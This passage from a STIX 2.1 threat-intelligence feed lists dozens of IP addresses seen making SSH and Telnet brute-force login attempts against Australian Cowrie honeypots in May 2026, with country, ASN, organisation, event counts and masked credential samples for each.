      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--0ea7f634-a1e7-4302-b67e-35f8fa781bdb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.176.245.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20001. Organisation(s): Charter Communications Inc.",
      "id": "indicator--bc032af0-741c-4024-9640-50adcde6c233",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '76.32.108.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 33984. Organisation(s): Surfplanet GmbH.",
      "id": "indicator--74875d5b-710e-434f-8d27-9f9cfe4cb358",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.111.67.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 215292. Organisation(s): Gravhosting LLC.",
      "id": "indicator--04c7f77d-6417-43d3-8f7f-8e92e5b2486e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.161.239.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--0f783c90-1de5-4d4d-92d6-cb99a5d36231",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 812. Organisation(s): Rogers Communications Canada Inc..",
      "id": "indicator--f4cd33f6-e8ee-4888-bdef-a4372517374d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '99.252.90.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:15:10.000Z",
      "valid_until": "2026-06-04T01:15:08.000Z"
    },
    {
      "created": "2026-05-03T02:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 136180. Organisation(s): Beijing Tiantexin Tech. Co., Ltd..",
      "id": "indicator--0a1320ba-7cd9-435d-ac19-0568f8dcec0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T02:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.203.57.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:15:02.000Z",
      "valid_until": "2026-06-04T02:15:01.000Z"
    },
    {
      "created": "2026-05-03T02:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 221. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14956. Organisation(s): RouterHosting LLC. Usernames observed (masked): r**t, d****y, u****u, 3**********4, a***n. Passwords observed (masked): 1**4, 1****6, 1******u, 1**********c, 3***********4.",
      "id": "indicator--7a5c831b-7779-47c4-841d-9c689f20799e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T02:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.189.27.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:15:02.000Z",
      "valid_until": "2026-06-04T02:15:01.000Z"
    },
    {
      "created": "2026-05-03T02:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 29182. Organisation(s): JSC IOT.",
      "id": "indicator--afea789c-1b86-4519-8edb-013deaa25277",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T02:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.172.31.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:15:02.000Z",
      "valid_until": "2026-06-04T02:15:01.000Z"
    },
    {
      "created": "2026-05-03T02:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55470. Organisation(s): Cyfuture India Pvt. Ltd..",
      "id": "indicator--36ae4248-02fc-4c0d-b23e-0b573bb886d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T02:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.118.188.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:15:02.000Z",
      "valid_until": "2026-06-04T02:15:01.000Z"
    },
    {
      "created": "2026-05-03T02:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 38669. Organisation(s): LG HelloVision Corp..",
      "id": "indicator--3aa9a637-1b63-4f99-9d7d-9601cdc5c4c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T02:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.29.87.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:15:02.000Z",
      "valid_until": "2026-06-04T02:15:01.000Z"
    },
    {
      "created": "2026-05-03T02:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--06c2c0f3-974c-40bf-abbb-ef3fd75b222b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T02:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.29.194.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:15:02.000Z",
      "valid_until": "2026-06-04T02:15:01.000Z"
    },
    {
      "created": "2026-05-03T02:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 134351. Organisation(s): Leaseweb Japan K.K..",
      "id": "indicator--989e5ca3-5ccc-4dcd-8ce6-49d4379b8e2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T02:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.91.109.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:15:02.000Z",
      "valid_until": "2026-06-04T02:15:01.000Z"
    },
    {
      "created": "2026-05-03T02:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 50673. Organisation(s): Serverius Holding B.V..",
      "id": "indicator--ad018eb1-c970-4f3d-962a-111edd45a01e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T02:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.117.72.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:15:02.000Z",
      "valid_until": "2026-06-04T02:15:01.000Z"
    },
    {
      "created": "2026-05-03T02:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BO. ASN(s): 26210. Organisation(s): AXS Bolivia S. A..",
      "id": "indicator--3023b98a-32da-4d87-bcbd-d57bebc1d5a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T02:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.121.249.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:15:02.000Z",
      "valid_until": "2026-06-04T02:15:01.000Z"
    },
    {
      "created": "2026-05-03T02:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9830. Organisation(s): SWIFT ONLINE BORDER AS.",
      "id": "indicator--3005d850-4edb-4ab5-ab17-430881233640",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T02:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.91.86.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:15:02.000Z",
      "valid_until": "2026-06-04T02:15:01.000Z"
    },
    {
      "created": "2026-05-03T02:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 174. Organisation(s): Cogent Communications, LLC.",
      "id": "indicator--9b122256-2e4c-44aa-997d-7627fed4d6ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T02:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.96.178.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:15:02.000Z",
      "valid_until": "2026-06-04T02:15:01.000Z"
    },
    {
      "created": "2026-05-03T02:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--3988610f-4658-49d0-8b33-573379eb1e10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T02:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.77.222.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:15:02.000Z",
      "valid_until": "2026-06-04T02:15:01.000Z"
    },
    {
      "created": "2026-05-03T02:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17839. Organisation(s): LG HelloVision Corp..",
      "id": "indicator--32788418-433f-4201-9d6e-7a6554a0c929",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T02:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.106.81.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:15:02.000Z",
      "valid_until": "2026-06-04T02:15:01.000Z"
    },
    {
      "created": "2026-05-03T02:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 30860. Organisation(s): Virtual Systems LLC.",
      "id": "indicator--4288b4c4-d386-4e47-83a2-9c8048fa6d14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T02:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.182.85.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:15:02.000Z",
      "valid_until": "2026-06-04T02:15:01.000Z"
    },
    {
      "created": "2026-05-03T02:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--c7577873-c03a-462e-9454-8cf7422837be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T02:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '67.102.7.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:15:02.000Z",
      "valid_until": "2026-06-04T02:15:01.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 135918. Organisation(s): VIET DIGITAL TECHNOLOGY LIABILITY COMPANY.",
      "id": "indicator--72d6e1fe-7a16-4d8f-a500-0290ce0c4e78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.161.170.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 133120. Organisation(s): Hosted Network Pty Ltd.",
      "id": "indicator--b77441b5-3b5d-4fa1-a381-17da1699823e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.243.110.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36884. Organisation(s): MAROCCONNECT.",
      "id": "indicator--1765d44e-4571-4b2e-89d1-6ffa965d642c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.67.131.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--b76a9139-0bc4-433b-b9e9-b85a0d99df68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.254.127.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group.",
      "id": "indicator--f7539add-c653-43d9-a44b-79fbe4de7787",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.196.84.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--14dc17aa-5dd9-42b5-81d3-d79b91112142",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.117.128.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d5d47d3a-8827-4100-965c-bdc84c7ca35f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.233.31.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--29fae5a8-f94f-44a1-a8ee-92bb3b0b6533",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.29.194.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): ***. Passwords observed (masked): ***, 1****6, ***, w********n.",
      "id": "indicator--9eb2edb9-d50d-433c-92f6-26d06af5ff30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.141.84.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 568. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 40021. Organisation(s): Contabo Inc..",
      "id": "indicator--3f4154ad-5ff0-4a12-b9ac-e54dda75d695",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.126.133.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 265330. Organisation(s): Ponto a Ponto Telecomunicacoes.",
      "id": "indicator--cf63b9ba-1ecb-4eb1-ab4a-9250fa3e754f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.181.63.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 396. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--7d03bd1f-d621-4cc2-bdc5-adf6ec340d25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.209.228.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda. Usernames observed (masked): r**t. Passwords observed (masked): L******5.",
      "id": "indicator--58489c7e-baf0-4ff3-b62d-0d29e1fe1f2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.107.88.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--921aeb28-43a2-4b17-b1b5-924a0ca71d1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.88.60.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda.",
      "id": "indicator--a90c181d-f19b-4a37-9607-416b201a9651",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.140.19.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:15:06.000Z",
      "valid_until": "2026-06-04T03:15:03.000Z"
    },
    {
      "created": "2026-05-03T03:15:06.000Z",
